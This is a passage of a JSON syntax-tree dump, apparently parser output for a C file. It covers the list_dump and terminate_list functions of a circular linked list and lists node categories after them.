{"row": 231, "column": 8}, "end_point": {"row": 231, "column": 28}}, {"id": 658, "type": "*", "text": "*", "parent": 657, "children": [], "start_point": {"row": 231, "column": 8}, "end_point": {"row": 231, "column": 9}}, {"id": 659, "type": "parenthesized_expression", "text": "((int*) list->data)", "parent": 657, "children": [660], "start_point": {"row": 231, "column": 9}, "end_point": {"row": 231, "column": 28}}, {"id": 660, "type": "cast_expression", "text": "(int*) list->data", "parent": 659, "children": [661, 665], "start_point": {"row": 231, "column": 10}, "end_point": {"row": 231, "column": 27}}, {"id": 661, "type": "type_descriptor", "text": "int*", "parent": 660, "children": [662, 663], "start_point": {"row": 231, "column": 11}, "end_point": {"row": 231, "column": 15}}, {"id": 662, "type": "primitive_type", "text": "int", "parent": 661, "children": [], "start_point": {"row": 231, "column": 11}, "end_point": {"row": 231, "column": 14}}, {"id": 663, "type": "abstract_pointer_declarator", "text": "*", "parent": 661, "children": [664], "start_point": {"row": 231, "column": 14}, "end_point": {"row": 231, "column": 15}}, {"id": 664, "type": "*", "text": "*", "parent": 663, "children": [], "start_point": {"row": 231, "column": 14}, "end_point": {"row": 231, "column": 15}}, {"id": 665, "type": "field_expression", "text": "list->data", "parent": 660, "children": [666, 667], "start_point": {"row": 231, "column": 17}, "end_point": {"row": 231, "column": 27}}, {"id": 666, "type": "identifier", "text": "list", "parent": 665, "children": [], "start_point": {"row": 231, "column": 17}, "end_point": {"row": 231, "column": 21}}, {"id": 667, "type": "field_identifier", "text": "data", "parent": 665, "children": [], "start_point": {"row": 231, "column": 23}, "end_point": {"row": 231, "column": 27}}, {"id": 668, "type": "function_definition", "text": "void list_dump(const linked_list *list) {\n\tif (list == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn;\t\n\t}\n\n\tlinked_list *iterator;\n\t\n\titerator = list->next;\n\t\n\tprintf(\"[\");\n\twhile(list != iterator) {\n\t\tif (iterator->next == list) {\n\t\t\tprintf(\"%p\",iterator->data);\n\t\t} else {\n\t\t\tprintf(\"%p,\",iterator->data);\n\t\t}\n\t\titerator = iterator->next;\n\t}\n\tprintf(\"]\\n\");\n}", "parent": null, "children": [669, 670], "start_point": {"row": 239, "column": 0}, "end_point": {"row": 259, "column": 1}}, {"id": 669, "type": "primitive_type", "text": "void", "parent": 668, "children": [], "start_point": {"row": 239, "column": 0}, "end_point": {"row": 239, "column": 4}}, {"id": 670, "type": "function_declarator", "text": "list_dump(const linked_list *list)", "parent": 668, "children": [671, 672], "start_point": {"row": 239, "column": 5}, "end_point": {"row": 239, "column": 39}}, {"id": 671, "type": "identifier", "text": "list_dump", "parent": 670, "children": [], "start_point": {"row": 239, "column": 5}, "end_point": {"row": 239, "column": 14}}, {"id": 672, "type": "parameter_list", "text": "(const linked_list *list)", "parent": 670, "children": [673], "start_point": {"row": 239, "column": 14}, "end_point": {"row": 239, "column": 39}}, {"id": 673, "type": "parameter_declaration", "text": "const linked_list *list", "parent": 672, "children": [674, 675], "start_point": {"row": 239, "column": 15}, "end_point": {"row": 239, "column": 38}}, {"id": 674, "type": "type_identifier", "text": "linked_list", "parent": 673, "children": [], "start_point": {"row": 239, "column": 21}, "end_point": {"row": 239, "column": 32}}, {"id": 675, "type": "pointer_declarator", "text": "*list", "parent": 673, "children": [676, 677], "start_point": {"row": 239, "column": 33}, "end_point": {"row": 239, "column": 38}}, {"id": 676, "type": "*", "text": "*", "parent": 675, "children": [], "start_point": {"row": 239, "column": 33}, "end_point": {"row": 239, "column": 34}}, {"id": 677, "type": "identifier", "text": "list", "parent": 675, "children": [], "start_point": {"row": 239, "column": 34}, "end_point": {"row": 239, "column": 38}}, {"id": 678, "type": "if_statement", "text": "if (list == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn;\t\n\t}", "parent": 668, "children": [679], "start_point": {"row": 240, "column": 1}, "end_point": {"row": 243, "column": 2}}, {"id": 679, "type": "parenthesized_expression", "text": "(list == NULL)", "parent": 678, "children": [680], "start_point": {"row": 240, "column": 4}, "end_point": {"row": 240, "column": 18}}, {"id": 680, "type": "binary_expression", "text": "list == NULL", "parent": 679, "children": [681, 682, 683], "start_point": {"row": 240, "column": 5}, "end_point": {"row": 240, "column": 17}}, {"id": 681, "type": "identifier", "text": "list", "parent": 680, "children": [], "start_point": {"row": 240, "column": 5}, "end_point": {"row": 240, "column": 9}}, {"id": 682, "type": "==", "text": "==", "parent": 680, "children": [], "start_point": {"row": 240, "column": 10}, "end_point": {"row": 240, "column": 12}}, {"id": 683, "type": "null", "text": "NULL", "parent": 680, "children": [684], "start_point": {"row": 240, "column": 13}, "end_point": {"row": 240, "column": 17}}, {"id": 684, "type": "NULL", "text": "NULL", "parent": 683, "children": [], "start_point": {"row": 240, "column": 13}, "end_point": {"row": 240, "column": 17}}, {"id": 685, "type": "identifier", "text": "DL_INVALID_ARGS_MSG", "parent": 678, "children": [], "start_point": {"row": 241, "column": 2}, "end_point": {"row": 241, "column": 21}}, {"id": 686, "type": "return_statement", "text": "return;", "parent": 678, "children": [], "start_point": {"row": 242, "column": 2}, "end_point": {"row": 242, "column": 9}}, {"id": 687, "type": "declaration", "text": "linked_list *iterator;", "parent": 668, "children": [688, 689], "start_point": {"row": 245, "column": 1}, "end_point": {"row": 245, "column": 23}}, {"id": 688, "type": "type_identifier", "text": "linked_list", "parent": 687, "children": [], "start_point": {"row": 245, "column": 1}, "end_point": {"row": 245, "column": 12}}, {"id": 689, "type": "pointer_declarator", "text": "*iterator", "parent": 687, "children": [690, 691], "start_point": {"row": 245, "column": 13}, "end_point": {"row": 245, "column": 22}}, {"id": 690, "type": "*", "text": "*", "parent": 689, "children": [], "start_point": {"row": 245, "column": 13}, "end_point": {"row": 245, "column": 14}}, {"id": 691, "type": "identifier", "text": "iterator", "parent": 689, "children": [], "start_point": {"row": 245, "column": 14}, "end_point": {"row": 245, "column": 22}}, {"id": 692, "type": "assignment_expression", "text": "iterator = list->next", "parent": 668, "children": [693, 694, 695], "start_point": {"row": 247, "column": 1}, "end_point": {"row": 247, "column": 22}}, {"id": 693, "type": "identifier", "text": "iterator", "parent": 692, "children": [], "start_point": {"row": 247, "column": 1}, "end_point": {"row": 247, "column": 9}}, {"id": 694, "type": "=", "text": "=", "parent": 692, "children": [], "start_point": {"row": 247, "column": 10}, "end_point": {"row": 247, "column": 11}}, {"id": 695, "type": "field_expression", "text": "list->next", "parent": 692, "children": [696, 697], "start_point": {"row": 247, "column": 12}, "end_point": {"row": 247, "column": 22}}, {"id": 696, "type": "identifier", "text": "list", "parent": 695, "children": [], "start_point": {"row": 247, "column": 12}, "end_point": {"row": 247, "column": 16}}, {"id": 697, "type": "field_identifier", "text": "next", "parent": 695, "children": [], "start_point": {"row": 247, "column": 18}, "end_point": {"row": 247, "column": 22}}, {"id": 698, "type": "call_expression", "text": "printf(\"[\")", "parent": 668, "children": [699, 700], "start_point": {"row": 249, "column": 1}, "end_point": {"row": 249, "column": 12}}, {"id": 699, "type": "identifier", "text": "printf", "parent": 698, "children": [], "start_point": {"row": 249, "column": 1}, "end_point": {"row": 249, "column": 7}}, {"id": 700, "type": "argument_list", "text": "(\"[\")", "parent": 698, "children": [701], "start_point": {"row": 249, "column": 7}, "end_point": {"row": 249, "column": 12}}, {"id": 701, "type": "string_literal", "text": "\"[\"", "parent": 700, "children": [], "start_point": {"row": 249, "column": 8}, "end_point": {"row": 249, "column": 11}}, {"id": 702, "type": "while_statement", "text": "while(list != iterator) {\n\t\tif (iterator->next == list) {\n\t\t\tprintf(\"%p\",iterator->data);\n\t\t} else {\n\t\t\tprintf(\"%p,\",iterator->data);\n\t\t}\n\t\titerator = iterator->next;\n\t}", "parent": 668, "children": [703], "start_point": {"row": 250, "column": 1}, "end_point": {"row": 257, "column": 2}}, {"id": 703, "type": "parenthesized_expression", "text": "(list != iterator)", "parent": 702, "children": [704], "start_point": {"row": 250, "column": 6}, "end_point": {"row": 250, "column": 24}}, {"id": 704, "type": "binary_expression", "text": "list != iterator", "parent": 703, "children": [705, 706, 707], "start_point": {"row": 250, "column": 7}, "end_point": {"row": 250, "column": 23}}, {"id": 705, "type": "identifier", "text": "list", "parent": 704, "children": [], "start_point": {"row": 250, "column": 7}, "end_point": {"row": 250, "column": 11}}, {"id": 706, "type": "!=", "text": "!=", "parent": 704, "children": [], "start_point": {"row": 250, "column": 12}, "end_point": {"row": 250, "column": 14}}, {"id": 707, "type": "identifier", "text": "iterator", "parent": 704, "children": [], "start_point": {"row": 250, "column": 15}, "end_point": {"row": 250, "column": 23}}, {"id": 708, "type": "if_statement", "text": "if (iterator->next == list) {\n\t\t\tprintf(\"%p\",iterator->data);\n\t\t} else {\n\t\t\tprintf(\"%p,\",iterator->data);\n\t\t}", "parent": 702, "children": [709, 723], "start_point": {"row": 251, "column": 2}, "end_point": {"row": 255, "column": 3}}, {"id": 709, "type": "parenthesized_expression", "text": "(iterator->next == list)", "parent": 708, "children": [710], "start_point": {"row": 251, "column": 5}, "end_point": {"row": 251, "column": 29}}, {"id": 710, "type": "binary_expression", "text": "iterator->next == list", "parent": 709, "children": [711, 714, 715], "start_point": {"row": 251, "column": 6}, "end_point": {"row": 251, "column": 28}}, {"id": 711, "type": "field_expression", "text": "iterator->next", "parent": 710, "children": [712, 713], "start_point": {"row": 251, "column": 6}, "end_point": {"row": 251, "column": 20}}, {"id": 712, "type": "identifier", "text": "iterator", "parent": 711, "children": [], "start_point": {"row": 251, "column": 6}, "end_point": {"row": 251, "column": 14}}, {"id": 713, "type": "field_identifier", "text": "next", "parent": 711, "children": [], "start_point": {"row": 251, "column": 16}, "end_point": {"row": 251, "column": 20}}, {"id": 714, "type": "==", "text": "==", "parent": 710, "children": [], "start_point": {"row": 251, "column": 21}, "end_point": {"row": 251, "column": 23}}, {"id": 715, "type": "identifier", "text": "list", "parent": 710, "children": [], "start_point": {"row": 251, "column": 24}, "end_point": {"row": 251, "column": 28}}, {"id": 716, "type": "call_expression", "text": "printf(\"%p\",iterator->data)", "parent": 708, "children": [717, 718], "start_point": {"row": 252, "column": 3}, "end_point": {"row": 252, "column": 30}}, {"id": 717, "type": "identifier", "text": "printf", "parent": 716, "children": [], "start_point": {"row": 252, "column": 3}, "end_point": {"row": 252, "column": 9}}, {"id": 718, "type": "argument_list", "text": "(\"%p\",iterator->data)", "parent": 716, "children": [719, 720], "start_point": {"row": 252, "column": 9}, "end_point": {"row": 252, "column": 30}}, {"id": 719, "type": "string_literal", "text": "\"%p\"", "parent": 718, "children": [], "start_point": {"row": 252, "column": 10}, "end_point": {"row": 252, "column": 14}}, {"id": 720, "type": "field_expression", "text": "iterator->data", "parent": 718, "children": [721, 722], "start_point": {"row": 252, "column": 15}, "end_point": {"row": 252, "column": 29}}, {"id": 721, "type": "identifier", "text": "iterator", "parent": 720, "children": [], "start_point": {"row": 252, "column": 15}, "end_point": {"row": 252, "column": 23}}, {"id": 722, "type": "field_identifier", "text": "data", "parent": 720, "children": [], "start_point": {"row": 252, "column": 25}, "end_point": {"row": 252, "column": 29}}, {"id": 723, "type": "else_clause", "text": "else {\n\t\t\tprintf(\"%p,\",iterator->data);\n\t\t}", "parent": 708, "children": [], "start_point": {"row": 253, "column": 4}, "end_point": {"row": 255, "column": 3}}, {"id": 724, "type": "call_expression", "text": "printf(\"%p,\",iterator->data)", "parent": 723, "children": [725, 726], "start_point": {"row": 254, "column": 3}, "end_point": {"row": 254, "column": 31}}, {"id": 725, "type": "identifier", "text": "printf", "parent": 724, "children": [], "start_point": {"row": 254, "column": 3}, "end_point": {"row": 254, "column": 9}}, {"id": 726, "type": "argument_list", "text": "(\"%p,\",iterator->data)", "parent": 724, "children": [727, 728], "start_point": {"row": 254, "column": 9}, "end_point": {"row": 254, "column": 31}}, {"id": 727, "type": "string_literal", "text": "\"%p,\"", "parent": 726, "children": [], "start_point": {"row": 254, "column": 10}, "end_point": {"row": 254, "column": 15}}, {"id": 728, "type": "field_expression", "text": "iterator->data", "parent": 726, "children": [729, 730], "start_point": {"row": 254, "column": 16}, "end_point": {"row": 254, "column": 30}}, {"id": 729, "type": "identifier", "text": "iterator", "parent": 728, "children": [], "start_point": {"row": 254, "column": 16}, "end_point": {"row": 254, "column": 24}}, {"id": 730, "type": "field_identifier", "text": "data", "parent": 728, "children": [], "start_point": {"row": 254, "column": 26}, "end_point": {"row": 254, "column": 30}}, {"id": 731, "type": "assignment_expression", "text": "iterator = iterator->next", "parent": 702, "children": [732, 733, 734], "start_point": {"row": 256, "column": 2}, "end_point": {"row": 256, "column": 27}}, {"id": 732, "type": "identifier", "text": "iterator", "parent": 731, "children": [], "start_point": {"row": 256, "column": 2}, "end_point": {"row": 256, "column": 10}}, {"id": 733, "type": "=", "text": "=", "parent": 731, "children": [], "start_point": {"row": 256, "column": 11}, "end_point": {"row": 256, "column": 12}}, {"id": 734, "type": "field_expression", "text": "iterator->next", "parent": 731, "children": [735, 736], "start_point": {"row": 256, "column": 13}, "end_point": {"row": 256, "column": 27}}, {"id": 735, "type": "identifier", "text": "iterator", "parent": 734, "children": [], "start_point": {"row": 256, "column": 13}, "end_point": {"row": 256, "column": 21}}, {"id": 736, "type": "field_identifier", "text": "next", "parent": 734, "children": [], "start_point": {"row": 256, "column": 23}, "end_point": {"row": 256, "column": 27}}, {"id": 737, "type": "call_expression", "text": "printf(\"]\\n\")", "parent": 668, "children": [738, 739], "start_point": {"row": 258, "column": 1}, "end_point": {"row": 258, "column": 14}}, {"id": 738, "type": "identifier", "text": "printf", "parent": 737, "children": [], "start_point": {"row": 258, "column": 1}, "end_point": {"row": 258, "column": 7}}, {"id": 739, "type": "argument_list", "text": "(\"]\\n\")", "parent": 737, "children": [740], "start_point": {"row": 258, "column": 7}, "end_point": {"row": 258, "column": 14}}, {"id": 740, "type": "string_literal", "text": "\"]\\n\"", "parent": 739, "children": [741], "start_point": {"row": 258, "column": 8}, "end_point": {"row": 258, "column": 13}}, {"id": 741, "type": "escape_sequence", "text": "\\n", "parent": 740, "children": [], "start_point": {"row": 258, "column": 10}, "end_point": {"row": 258, "column": 12}}, {"id": 742, "type": "function_definition", "text": "void terminate_list(linked_list **list) {\n\tif (list == NULL || *list == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn;\t\n\t}\n\n\tlinked_list *iterator;\n\tlinked_list *placeholder;\n\n\titerator = (*list)->next;\n\twhile (iterator != (*list)) {\n\t\tplaceholder = iterator->next;\n\t\tfree(iterator);\n\t\titerator = placeholder;\n\t}\n\tfree(*list);\n\t*list = NULL;\n}", "parent": null, "children": [743, 744], "start_point": {"row": 264, "column": 0}, "end_point": {"row": 281, "column": 1}}, {"id": 743, "type": "primitive_type", "text": "void", "parent": 742, "children": [], "start_point": {"row": 264, "column": 0}, "end_point": {"row": 264, "column": 4}}, {"id": 744, "type": "function_declarator", "text": "terminate_list(linked_list **list)", "parent": 742, "children": [745, 746], "start_point": {"row": 264, "column": 5}, "end_point": {"row": 264, "column": 39}}, {"id": 745, "type": "identifier", "text": "terminate_list", "parent": 744, "children": [], "start_point": {"row": 264, "column": 5}, "end_point": {"row": 264, "column": 19}}, {"id": 746, "type": "parameter_list", "text": "(linked_list **list)", "parent": 744, "children": [747], "start_point": {"row": 264, "column": 19}, "end_point": {"row": 264, "column": 39}}, {"id": 747, "type": "parameter_declaration", "text": "linked_list **list", "parent": 746, "children": [748, 749], "start_point": {"row": 264, "column": 20}, "end_point": {"row": 264, "column": 38}}, {"id": 748, "type": "type_identifier", "text": "linked_list", "parent": 747, "children": [], "start_point": {"row": 264, "column": 20}, "end_point": {"row": 264, "column": 31}}, {"id": 749, "type": "pointer_declarator", "text": "**list", "parent": 747, "children": [750, 751], "start_point": {"row": 264, "column": 32}, "end_point": {"row": 264, "column": 38}}, {"id": 750, "type": "*", "text": "*", "parent": 749, "children": [], "start_point": {"row": 264, "column": 32}, "end_point": {"row": 264, "column": 33}}, {"id": 751, "type": "pointer_declarator", "text": "*list", "parent": 749, "children": [752, 753], "start_point": {"row": 264, "column": 33}, "end_point": {"row": 264, "column": 38}}, {"id": 752, "type": "*", "text": "*", "parent": 751, "children": [], "start_point": {"row": 264, "column": 33}, "end_point": {"row": 264, "column": 34}}, {"id": 753, "type": "identifier", "text": "list", "parent": 751, "children": [], "start_point": {"row": 264, "column": 34}, "end_point": {"row": 264, "column": 38}}, {"id": 754, "type": "if_statement", "text": "if (list == NULL || *list == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn;\t\n\t}", "parent": 742, "children": [755], "start_point": {"row": 265, "column": 1}, "end_point": {"row": 268, "column": 2}}, {"id": 755, "type": "parenthesized_expression", "text": "(list == NULL || *list == NULL)", "parent": 754, "children": [756], "start_point": {"row": 265, "column": 4}, "end_point": {"row": 265, "column": 35}}, {"id": 756, "type": "binary_expression", "text": "list == NULL || *list == NULL", "parent": 755, "children": [757, 762, 763], "start_point": {"row": 265, "column": 5}, "end_point": {"row": 265, "column": 34}}, {"id": 757, "type": "binary_expression", "text": "list == NULL", "parent": 756, "children": [758, 759, 760], "start_point": {"row": 265, "column": 5}, "end_point": {"row": 265, "column": 17}}, {"id": 758, "type": "identifier", "text": "list", "parent": 757, "children": [], "start_point": {"row": 265, "column": 5}, "end_point": {"row": 265, "column": 9}}, {"id": 759, "type": "==", "text": "==", "parent": 757, "children": [], "start_point": {"row": 265, "column": 10}, "end_point": {"row": 265, "column": 12}}, {"id": 760, "type": "null", "text": "NULL", "parent": 757, "children": [761], "start_point": {"row": 265, "column": 13}, "end_point": {"row": 265, "column": 17}}, {"id": 761, "type": "NULL", "text": "NULL", "parent": 760, "children": [], "start_point": {"row": 265, "column": 13}, "end_point": {"row": 265, "column": 17}}, {"id": 762, "type": "||", "text": "||", "parent": 756, "children": [], "start_point": {"row": 265, "column": 18}, "end_point": {"row": 265, "column": 20}}, {"id": 763, "type": "binary_expression", "text": "*list == NULL", "parent": 756, "children": [764, 767, 768], "start_point": {"row": 265, "column": 21}, "end_point": {"row": 265, "column": 34}}, {"id": 764, "type": "pointer_expression", "text": "*list", "parent": 763, "children": [765, 766], "start_point": {"row": 265, "column": 21}, "end_point": {"row": 265, "column": 26}}, {"id": 765, "type": "*", "text": "*", "parent": 764, "children": [], "start_point": {"row": 265, "column": 21}, "end_point": {"row": 265, "column": 22}}, {"id": 766, "type": "identifier", "text": "list", "parent": 764, "children": [], "start_point": {"row": 265, "column": 22}, "end_point": {"row": 265, "column": 26}}, {"id": 767, "type": "==", "text": "==", "parent": 763, "children": [], "start_point": {"row": 265, "column": 27}, "end_point": {"row": 265, "column": 29}}, {"id": 768, "type": "null", "text": "NULL", "parent": 763, "children": [769], "start_point": {"row": 265, "column": 30}, "end_point": {"row": 265, "column": 34}}, {"id": 769, "type": "NULL", "text": "NULL", "parent": 768, "children": [], "start_point": {"row": 265, "column": 30}, "end_point": {"row": 265, "column": 34}}, {"id": 770, "type": "identifier", "text": "DL_INVALID_ARGS_MSG", "parent": 754, "children": [], "start_point": {"row": 266, "column": 2}, "end_point": {"row": 266, "column": 21}}, {"id": 771, "type": "return_statement", "text": "return;", "parent": 754, "children": [], "start_point": {"row": 267, "column": 2}, "end_point": {"row": 267, "column": 9}}, {"id": 772, "type": "declaration", "text": "linked_list *iterator;", "parent": 742, "children": [773, 774], "start_point": {"row": 270, "column": 1}, "end_point": {"row": 270, "column": 23}}, {"id": 773, "type": "type_identifier", "text": "linked_list", "parent": 772, "children": [], "start_point": {"row": 270, "column": 1}, "end_point": {"row": 270, "column": 12}}, {"id": 774, "type": "pointer_declarator", "text": "*iterator", "parent": 772, "children": [775, 776], "start_point": {"row": 270, "column": 13}, "end_point": {"row": 270, "column": 22}}, {"id": 775, "type": "*", "text": "*", "parent": 774, "children": [], "start_point": {"row": 270, "column": 13}, "end_point": {"row": 270, "column": 14}}, {"id": 776, "type": "identifier", "text": "iterator", "parent": 774, "children": [], "start_point": {"row": 270, "column": 14}, "end_point": {"row": 270, "column": 22}}, {"id": 777, "type": "declaration", "text": "linked_list *placeholder;", "parent": 742, "children": [778, 779], "start_point": {"row": 271, "column": 1}, "end_point": {"row": 271, "column": 26}}, {"id": 778, "type": "type_identifier", "text": "linked_list", "parent": 777, "children": [], "start_point": {"row": 271, "column": 1}, "end_point": {"row": 271, "column": 12}}, {"id": 779, "type": "pointer_declarator", "text": "*placeholder", "parent": 777, "children": [780, 781], "start_point": {"row": 271, "column": 13}, "end_point": {"row": 271, "column": 25}}, {"id": 780, "type": "*", "text": "*", "parent": 779, "children": [], "start_point": {"row": 271, "column": 13}, "end_point": {"row": 271, "column": 14}}, {"id": 781, "type": "identifier", "text": "placeholder", "parent": 779, "children": [], "start_point": {"row": 271, "column": 14}, "end_point": {"row": 271, "column": 25}}, {"id": 782, "type": "assignment_expression", "text": "iterator = (*list)->next", "parent": 742, "children": [783, 784, 785], "start_point": {"row": 273, "column": 1}, "end_point": {"row": 273, "column": 25}}, {"id": 783, "type": "identifier", "text": "iterator", "parent": 782, "children": [], "start_point": {"row": 273, "column": 1}, "end_point": {"row": 273, "column": 9}}, {"id": 784, "type": "=", "text": "=", "parent": 782, "children": [], "start_point": {"row": 273, "column": 10}, "end_point": {"row": 273, "column": 11}}, {"id": 785, "type": "field_expression", "text": "(*list)->next", "parent": 782, "children": [786, 790], "start_point": {"row": 273, "column": 12}, "end_point": {"row": 273, "column": 25}}, {"id": 786, "type": "parenthesized_expression", "text": "(*list)", "parent": 785, "children": [787], "start_point": {"row": 273, "column": 12}, "end_point": {"row": 273, "column": 19}}, {"id": 787, "type": "pointer_expression", "text": "*list", "parent": 786, "children": [788, 789], "start_point": {"row": 273, "column": 13}, "end_point": {"row": 273, "column": 18}}, {"id": 788, "type": "*", "text": "*", "parent": 787, "children": [], "start_point": {"row": 273, "column": 13}, "end_point": {"row": 273, "column": 14}}, {"id": 789, "type": "identifier", "text": "list", "parent": 787, "children": [], "start_point": {"row": 273, "column": 14}, "end_point": {"row": 273, "column": 18}}, {"id": 790, "type": "field_identifier", "text": "next", "parent": 785, "children": [], "start_point": {"row": 273, "column": 21}, "end_point": {"row": 273, "column": 25}}, {"id": 791, "type": "while_statement", "text": "while (iterator != (*list)) {\n\t\tplaceholder = iterator->next;\n\t\tfree(iterator);\n\t\titerator = placeholder;\n\t}", "parent": 742, "children": [792], "start_point": {"row": 274, "column": 1}, "end_point": {"row": 278, "column": 2}}, {"id": 792, "type": "parenthesized_expression", "text": "(iterator != (*list))", "parent": 791, "children": [793], "start_point": {"row": 274, "column": 7}, "end_point": {"row": 274, "column": 28}}, {"id": 793, "type": "binary_expression", "text": "iterator != (*list)", "parent": 792, "children": [794, 795, 796], "start_point": {"row": 274, "column": 8}, "end_point": {"row": 274, "column": 27}}, {"id": 794, "type": "identifier", "text": "iterator", "parent": 793, "children": [], "start_point": {"row": 274, "column": 8}, "end_point": {"row": 274, "column": 16}}, {"id": 795, "type": "!=", "text": "!=", "parent": 793, "children": [], "start_point": {"row": 274, "column": 17}, "end_point": {"row": 274, "column": 19}}, {"id": 796, "type": "parenthesized_expression", "text": "(*list)", "parent": 793, "children": [797], "start_point": {"row": 274, "column": 20}, "end_point": {"row": 274, "column": 27}}, {"id": 797, "type": "pointer_expression", "text": "*list", "parent": 796, "children": [798, 799], "start_point": {"row": 274, "column": 21}, "end_point": {"row": 274, "column": 26}}, {"id": 798, "type": "*", "text": "*", "parent": 797, "children": [], "start_point": {"row": 274, "column": 21}, "end_point": {"row": 274, "column": 22}}, {"id": 799, "type": "identifier", "text": "list", "parent": 797, "children": [], "start_point": {"row": 274, "column": 22}, "end_point": {"row": 274, "column": 26}}, {"id": 800, "type": "assignment_expression", "text": "placeholder = iterator->next", "parent": 791, "children": [801, 802, 803], "start_point": {"row": 275, "column": 2}, "end_point": {"row": 275, "column": 30}}, {"id": 801, "type": "identifier", "text": "placeholder", "parent": 800, "children": [], "start_point": {"row": 275, "column": 2}, "end_point": {"row": 275, "column": 13}}, {"id": 802, "type": "=", "text": "=", "parent": 800, "children": [], "start_point": {"row": 275, "column": 14}, "end_point": {"row": 275, "column": 15}}, {"id": 803, "type": "field_expression", "text": "iterator->next", "parent": 800, "children": [804, 805], "start_point": {"row": 275, "column": 16}, "end_point": {"row": 275, "column": 30}}, {"id": 804, "type": "identifier", "text": "iterator", "parent": 803, "children": [], "start_point": {"row": 275, "column": 16}, "end_point": {"row": 275, "column": 24}}, {"id": 805, "type": "field_identifier", "text": "next", "parent": 803, "children": [], "start_point": {"row": 275, "column": 26}, "end_point": {"row": 275, "column": 30}}, {"id": 806, "type": "call_expression", "text": "free(iterator)", "parent": 791, "children": [807, 808], "start_point": {"row": 276, "column": 2}, "end_point": {"row": 276, "column": 16}}, {"id": 807, "type": "identifier", "text": "free", "parent": 806, "children": [], "start_point": {"row": 276, "column": 2}, "end_point": {"row": 276, "column": 6}}, {"id": 808, "type": "argument_list", "text": "(iterator)", "parent": 806, "children": [809], "start_point": {"row": 276, "column": 6}, "end_point": {"row": 276, "column": 16}}, {"id": 809, "type": "identifier", "text": "iterator", "parent": 808, "children": [], "start_point": {"row": 276, "column": 7}, "end_point": {"row": 276, "column": 15}}, {"id": 810, "type": "assignment_expression", "text": "iterator = placeholder", "parent": 791, "children": [811, 812, 813], "start_point": {"row": 277, "column": 2}, "end_point": {"row": 277, "column": 24}}, {"id": 811, "type": "identifier", "text": "iterator", "parent": 810, "children": [], "start_point": {"row": 277, "column": 2}, "end_point": {"row": 277, "column": 10}}, {"id": 812, "type": "=", "text": "=", "parent": 810, "children": [], "start_point": {"row": 277, "column": 11}, "end_point": {"row": 277, "column": 12}}, {"id": 813, "type": "identifier", "text": "placeholder", "parent": 810, "children": [], "start_point": {"row": 277, "column": 13}, "end_point": {"row": 277, "column": 24}}, {"id": 814, "type": "call_expression", "text": "free(*list)", "parent": 742, "children": [815, 816], "start_point": {"row": 279, "column": 1}, "end_point": {"row": 279, "column": 12}}, {"id": 815, "type": "identifier", "text": "free", "parent": 814, "children": [], "start_point": {"row": 279, "column": 1}, "end_point": {"row": 279, "column": 5}}, {"id": 816, "type": "argument_list", "text": "(*list)", "parent": 814, "children": [817], "start_point": {"row": 279, "column": 5}, "end_point": {"row": 279, "column": 12}}, {"id": 817, "type": "pointer_expression", "text": "*list", "parent": 816, "children": [818, 819], "start_point": {"row": 279, "column": 6}, "end_point": {"row": 279, "column": 11}}, {"id": 818, "type": "*", "text": "*", "parent": 817, "children": [], "start_point": {"row": 279, "column": 6}, "end_point": {"row": 279, "column": 7}}, {"id": 819, "type": "identifier", "text": "list", "parent": 817, "children": [], "start_point": {"row": 279, "column": 7}, "end_point": {"row": 279, "column": 11}}, {"id": 820, "type": "assignment_expression", "text": "*list = NULL", "parent": 742, "children": [821, 824, 825], "start_point": {"row": 280, "column": 1}, "end_point": {"row": 280, "column": 13}}, {"id": 821, "type": "pointer_expression", "text": "*list", "parent": 820, "children": [822, 823], "start_point": {"row": 280, "column": 1}, "end_point": {"row": 280, "column": 6}}, {"id": 822, "type": "*", "text": "*", "parent": 821, "children": [], "start_point": {"row": 280, "column": 1}, "end_point": {"row": 280, "column": 2}}, {"id": 823, "type": "identifier", "text": "list", "parent": 821, "children": [], "start_point": {"row": 280, "column": 2}, "end_point": {"row": 280, "column": 6}}, {"id": 824, "type": "=", "text": "=", "parent": 820, "children": [], "start_point": {"row": 280, "column": 7}, "end_point": {"row": 280, "column": 8}}, {"id": 825, "type": "null", "text": "NULL", "parent": 820, "children": [826], "start_point": {"row": 280, "column": 9}, "end_point": {"row": 280, "column": 13}}, {"id": 826, "type": "NULL", "text": "NULL", "parent": 825, "children": [], "start_point": {"row": 280, "column": 9}, "end_point": {"row": 280, "column": 13}}]}, "node_categories": {"declarations": {"functions": [6, 10, 78, 80, 184, 186, 290, 292, 395, 399, 437, 441, 479, 483, 560, 562, 636, 638, 668, 670, 742, 744], "variables": [13, 18, 83, 88, 110, 189, 194, 216, 295, 300, 322, 402, 444, 486, 491, 505, 510, 565, 570, 592, 595, 641, 673, 687, 747, 772, 777], "classes": [], "imports": [0, 1, 3, 4], "modules": [], "enums": []}, "statements": {"expressions": [26, 29, 30, 33, 34, 46, 50, 54, 60, 66, 70, 94, 95, 96, 102, 118, 121, 122, 125, 126, 135, 141, 143, 144, 149, 155, 159, 163, 169, 170, 177, 200, 201, 202, 208, 224, 227, 228, 231, 232, 241, 247, 249, 250, 255, 261, 265, 269, 275, 276, 283, 306, 307, 308, 314, 330, 334, 335, 340, 341, 342, 348, 349, 354, 358, 359, 364, 367, 372, 374, 375, 380, 390, 408, 409, 420, 421, 422, 432, 433, 450, 451, 462, 463, 464, 474, 475, 495, 496, 514, 515, 516, 521, 524, 531, 539, 543, 549, 553, 576, 577, 578, 584, 603, 611, 615, 619, 620, 623, 631, 647, 648, 657, 659, 660, 665, 679, 680, 695, 698, 703, 704, 709, 710, 711, 716, 720, 724, 728, 734, 737, 755, 756, 757, 763, 764, 785, 786, 787, 792, 793, 796, 797, 803, 806, 814, 817, 821], "assignments": [23, 43, 53, 59, 65, 115, 134, 140, 154, 162, 168, 176, 221, 240, 246, 260, 268, 274, 282, 327, 347, 357, 371, 387, 528, 535, 546, 600, 607, 628, 692, 731, 782, 800, 810, 820], "loops": [333, 534, 606, 702, 791], "conditionals": [7, 11, 14, 17, 22, 24, 27, 31, 32, 35, 39, 44, 47, 55, 56, 58, 61, 62, 64, 67, 68, 75, 77, 81, 84, 87, 92, 93, 97, 103, 107, 109, 111, 114, 116, 119, 123, 124, 127, 131, 133, 136, 137, 139, 150, 151, 156, 157, 160, 161, 164, 165, 167, 171, 172, 173, 175, 178, 179, 181, 183, 187, 190, 193, 198, 199, 203, 209, 213, 215, 217, 220, 222, 225, 229, 230, 233, 237, 